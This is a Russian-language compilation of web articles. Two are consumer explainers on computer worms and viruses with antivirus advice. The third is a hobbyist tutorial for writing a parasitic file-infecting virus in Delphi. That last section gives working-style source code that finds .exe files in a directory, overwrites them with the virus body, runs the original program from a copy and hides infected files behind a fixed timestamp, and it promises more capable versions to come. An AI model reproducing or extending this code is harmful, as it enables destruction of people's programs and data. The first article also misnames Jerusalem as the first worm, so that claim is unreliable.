- Что такое червь и как он попадает на компьютер?
- Что такое компьютерный червь?
- Как происходит заражение червем?
- Как узнать, что на компьютере завелся червь?
- Примеры червей
- Как бороться с червями
- Действуйте на опережение
- Что такое компьютерный вирус и компьютерный червь?
- Что нужно знать о компьютерных вирусах и червях
- Как защититься от компьютерных вирусов и червей
- Что такое компьютерный вирус и компьютерный червь?
- HLLP вирус своими руками
Что такое червь и как он попадает на компьютер?
Любая компьютерная угроза в народе называется вирусом. Но знающие люди различают среди них трояны, собственно вирусы и черви.
О червях сегодня слышно мало. Во всяком случае, не так много, как о троянах или майнерах. Наверное, поэтому у многих складывается впечатление, что червь – проблема какая-то несерьезная. Сейчас вы узнаете, почему не стоит его недооценивать.
Червь коварнее других компьютерных угроз тем, что имеет способность к самокопированию. В отличие от вируса, которому для запуска репликации требуется связь с компьютером-хостом, червь представляет собой полностью автономную программу. Этим он и отличается от вируса в чистом его проявлении.
Червь способен самокопироваться, самовоспроизводиться и самораспространяться.
Звучит опасно, правда? И наверняка вам уже хочется знать, как такой хитрый зверь попадает на компьютер и какие признаки выдают его присутствие.
Что такое компьютерный червь?
Червь – это разновидность вредоносного ПО, которое копирует само себя с одного устройства на другое. В отличие от вируса, червю не нужно цепляться за какое-либо программное обеспечение, чтобы запустить скрипт для выполнения своих функций, и потому он представляет серьезную опасность для зараженного компьютера.
Способность действовать в одиночку – вот что отличает червя от других видов вредоносного ПО.
Как происходит заражение червем?
Компьютерный червь – бесфайловая вредоносная программа, которая распространяется с помощью хитроумной тактики: проникнув на уязвимое устройство, червь прячется в локальной сети и запускает репликацию.
Основной путь внутрь компьютера – уязвимости в операционной системе. Червь может быть запрограммирован на ведение скрытого образа жизни внутри ОС, незаметно занимаясь своим черным делом.
Другой распространенный способ заражения – электронные спам-письма, сообщения в мессенджерах и вложения в них. Без социальной инженерии тут не обходится: текст сообщения убеждает пользователя открыть вложение или кликнуть по ссылке, а дальше все идет так, как запланировал злоумышленник.
USB-флешки и портативные накопители тоже могут быть средством распространения червей.
Как узнать, что на компьютере завелся червь?
Если вы подозреваете, что на вашем компьютере находится червь, первое действие – немедленно запустить антивирусное сканирование. Черви не являются вирусами в классическом проявлении, однако многие антивирусные программы способны обнаруживать их присутствие.
Отрицательный результат – не повод расслабляться. Зловред может оказаться хитрее стандартных проверочных алгоритмов. Вот явные признаки, по которым можно предположить наличие червя в вашей системе.
- В электронной почте странные вложения. В е-мейлах присутствуют файлы непонятного происхождения? При запуске вложений выскакивают диалоговые окна? Компьютер ведет себя как-то нетипично? Если вы ответили «да» хотя бы на один из этих вопросов, наличие червя в системе очень даже вероятно.
- На жестком диске внезапно закончилось место. Червям характерно многократное копирование, и они быстро заполняют постоянную память. Если вы обратили внимание, что свободного пространства стало меньше, а вы в последнее время ничего крупного не скачивали, то виновником может оказаться червь.
- Появляются проблемы с производительностью. Программные ошибки, медленный отклик интерфейса могут указывать на то, что ресурсы компьютера съедает деятельность червя.
- Пропадают файлы. Черви способны удалять, подменять и создавать новые файлы. При подозрительном поведении файлов готовьтесь действовать – компьютер скорее всего чем-то заражен.
- Программы вылетают. Заведите привычку побыстрее разбираться, почему та или иная программа стала вести себя странным образом. Часто черви завершают работу критически важных процессов, тем самым мешая запускать и использовать полезные приложения. О том, что они способны удалять файлы, уже говорилось.
Примеры червей
Первый компьютерный червь, известный под именем Jerusalem, старше многих наших читателей – он был создан в 1987 году. Другие, натворившие не меньше бед – червь Морриса (1988), Storm Worm (2007) и SQL Slammer (2003).
Компьютерные черви не имеют четкой классификации, но их можно разделить на типы в зависимости от путей распространения.
- Интернет-черви. Внедряются в сайты со слабой защитой, копируют себя на компьютер пользователя, который посещает зараженный ресурс. После этого распространение вредоносного кода идет уже внутри локальной сети по всем подключенным устройствам.
- Почтовые черви. Путь заражения почтовым червем – сообщения в электронной почте и их вложения. Часто такие «подарки» имеют двойное расширение, например, mp4.exe или .avi.exe. Пользователь, не придавший значения второму расширению, подумает, что ему прислали медиафайл, и как только он нажмет на кнопку «скачать», копии зараженной программы мгновенно полетят по всем адресам, указанным в списке контактов.
- IM-черви. Черви для мессенджеров распространяются так же, как и их почтовые товарищи – через ссылки в сервисах обмена мгновенными сообщениями. Часто они маскируются под безобидные интернет-адреса (ссылка instagram.com может вести совсем не туда, куда кажется) или короткие фразы типа «LOL», «срочно посмотри». Поскольку пользователь не видит полного адреса для перехода, он может потерять бдительность и поддаться любопытству. А если сообщение прилетело от знакомого контакта, то и проверять ссылку на безопасность мало кому придет в голову.
- Черви для файлообменников. Совместное использование файлов и P2P-протоколы в некоторых странах считаются незаконными, однако они все еще широко используются как способ поделиться медиафайлами. Черви для файлообменников маскируются под медиа с двойным расширением и попадают на компьютер жертвы при скачивании.
Как бороться с червями
На компьютере очень важно иметь комплексный инструмент безопасности от надежного разработчика. Многие из них обеспечивают защиту не только от троянов, майнеров и классических вирусов, но также и от червей.
При сканировании устройства они обнаружат место, где скрывается червь, и расправятся с ним. Но как мы знаем, главное слабое место компьютера – не изъян в операционной системе, а человек, сидящий перед монитором. Поэтому напоминаем, как нужно вести себя, чтобы не дать червям и прочим зловредам проникнуть в систему.
- Обновляйте все ПО. Дыры в безопасности системы и установленных приложениях – верный путь к заражению компьютера. Не откладывайте обновления, если они уже доступны, поскольку там содержатся патчи для устранения уязвимостей.
- Внимательно читайте электронные письма. Фишинг – очень популярная тактика распространения червей и прочих вредоносов. Не открывайте письма от неизвестных отправителей. А если уж открыли – не пытайтесь скачать вложения. А если скачали… Чуть выше говорилось, как вылечить компьютер.
- Не переходите по непонятным ссылкам. Это касается и электронных писем, и просто серфинга в интернете. Не кликайте по ссылкам, если не знаете наверняка, на какой ресурс они ведут. Помните: злоумышленники могут скрывать истинные URL так, что даже при наведении курсора внизу окна браузера будет отображаться фейковый адрес.
- Не пожалейте денег на хороший антивирус. Покупка комплексного антивируса спасет вас и ваших близких от множества проблем. Убедитесь, что выбранный вами продукт предлагает набор защитных функций против фишинга, вирусов, шпионского ПО, программ-вымогателей и пр.
Действуйте на опережение
Черви полезны для сада, но никак не для компьютера. Против них нужны проактивные меры.
Обеспечьте компьютер антивирусом и фаерволом, читайте новости о киберпреступлениях, сохраняйте бдительность в интернете. Понимаем, эти советы звучат банально, ведь о них говорилось уже миллион раз, но следовать им правда очень важно. Как знать – может, отразив атаку червя на своем компьютере сегодня, вы убережете от беды кого-то в вашем списке контактов.
Источник
Что такое компьютерный вирус и компьютерный червь?
Компьютерный вирус и компьютерный червь — это вредоносные программы, которые способны воспроизводить себя на компьютерах или через компьютерные сети. При этом пользователь не подозревает о заражении своего компьютера. Так как каждая последующая копия вируса или компьютерного червя также способна к самовоспроизведению, заражение распространяется очень быстро. Существует очень много различных типов компьютерных вирусов и компьютерных червей, большинство которых обладают высокой способностью к разрушению.
Что нужно знать о компьютерных вирусах и червях
Вредоносное программное обеспечение из подкласса вирусов и червей включает:
- Email-Worm
- IM-Worm
- IRC-Worm
- Net-Worm
- P2P-Worm
- Virus
- Компьютерные черви
Большинство известных компьютерных червей распространяется следующими способами:
- в виде файла, отправленного во вложении в электронном письме;
- в виде ссылки на интернет — или FTP-ресурс
- в виде ссылки, переданной через сообщение ICQ или IR
- через пиринговые сети обмена данными P2P (peer-to-peer)
- некоторые черви распространяются как сетевые пакеты. Они проникают прямо в компьютерную память, затем активируется код червя.
Компьютерные черви могут использовать ошибки конфигурации сети (например, чтобы скопировать себя на полностью доступный диск) или бреши в защите операционной системы и приложений. Многие черви распространяют свои копии через сеть несколькими способами.
- Вирусы
- Файловые вирусы
- вирусы загрузочного сектора
- Макровирусы
- Вирусные скрипты
- ПК на базе Windows;
- компьютеры Mac;
- смартфоны;
- планшеты
Вирусы можно классифицировать в соответствии с тем, каким способом они заражают компьютер:
Любая программа данного подкласса вредоносного ПО в качестве дополнительных может иметь и функции троянской программы.
Как защититься от компьютерных вирусов и червей
Рекомендуется установить антивирус: программное обеспечение для защиты от вредоносных программ на все свои устройства (включая ПК, ноутбуки, компьютеры Mac и смартфоны). Решение для защиты от вредоносных программ должно регулярно обновляться, чтобы защищать от самых последних угроз. Хороший антивирус (такой как Антивирус Касперского) обнаруживает и предотвращает заражение ПК вирусами и червями, а Kaspersky Internet Security для Android — отличный выбор для защиты смартфонов на базе Android. В «Лаборатории Касперского» созданы продукты для следующих устройств:
Другие статьи и ссылки, связанные с компьютерными вирусами и червями
Что такое компьютерный вирус и компьютерный червь?
Существует очень много различных типов компьютерных вирусов и компьютерных червей, большинство которых обладают высокой способностью к разрушению.
Источник
HLLP вирус своими руками
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и «заражает» дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC — более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
— тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
— заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
— будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
— parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
— вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу—> ждем завершения ее работы—> стираем «отработавший файл» (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).—> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr — это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize — размер кода программы. Остальное ясно из дальнейшего, кроме
infected — это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],’c:\windows\program.exe’,false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,’c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= ‘_’+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
— на Delphi.
Строчки эти — преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst (‘*.exe’,faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= ‘03.08.98 06:00:00’ then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime (‘03.08.98 06:00:00’)));
end;
end;
//Если вир запущен «чистым», т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile — в WinAPI нет аналога — сопоставляет файл
с переменной типа File или TextFile
Reset — аналоги _lopen и CreateFile — открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite — _lcreate и CreateFile — создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead — _lread и ReadFile — читает в буфер
определенное количество данных из файла
BlockWrite — _lwrite и WriteFile — соответственно, пишет
данные в файл
SeekFile — _llseek и SetFilePointer — перемещает позицию
чтения/записи в открытом файле
CloseFile — _lclose и CloseHandle — закрывает открытый
файл
Erase — DeleteFile — удаление файла
FindFirst — FindFirstFile — поиск файла по критериям
FindNext — FindNextFile — поиск следующего файла
Источник